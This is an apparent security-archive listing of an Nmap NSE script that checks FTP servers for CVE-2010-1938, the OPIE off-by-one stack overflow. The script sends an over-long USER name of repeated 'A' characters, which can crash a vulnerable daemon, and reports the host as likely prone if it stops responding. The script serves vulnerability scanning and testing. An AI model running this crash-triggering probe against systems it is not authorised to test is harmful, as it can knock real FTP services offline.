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OPIE Off-By-One Stack Overflow Nmap NSE Script

OPIE Off-By-One Stack Overflow Nmap NSE Script
Posted May 28, 2010
Authored by Ange Gutek

OPIE off-by-one stack overflow nmap .nse script file.

tags | tool, overflow, nmap
systems | unix
advisories | CVE-2010-1938
MD5 | d23f4f32f3d270fb36b0804503220659

OPIE Off-By-One Stack Overflow Nmap NSE Script

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description = [[
Checks if an FTPd is prone to CVE-2010-1938 (OPIE off-by-one stack overflow).
Vulnerability discovered by Maksymilian Arciemowicz and Adam 'pi3' Zabrocki

]]

---
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-libopie: Likely prone to CVE-2010-1938 (OPIE off-by-one stack overflow)
-- |_See http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc


author = "Ange Gutek"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"}

require "shortport"

portrule = shortport.port_or_service(21, "ftp")


action = function(host, port)
local socket = nmap.new_socket()
local result
-- If we use more that 31 chars for username, ftpd will crash (quoted from the advisory).
local user_account = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
local status = true

local err_catch = function()
socket:close()
end

local try = nmap.new_try(err_catch)

socket:set_timeout(10000)
try(socket:connect(host.ip, port.number, port.protocol))

-- First, try a safe User so that we are sure that everything is ok
local payload = "USER opie\r\n"
try(socket:send(payload))

status, result = socket:receive_lines(1);
if status and not (string.match(result,"^421")) then

-- Second, try the vulnerable user account
local payload = "USER " .. user_account .. "\r\n"
try(socket:send(payload))

status, result = socket:receive_lines(1);
if status then
return
else
-- if the server does not answer anymore we may have reached a stack overflow condition
return "Likely prone to CVE-2010-1938 (OPIE off-by-one stack overflow)\nSee http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc"
end
else
return
end

socket:close()

end

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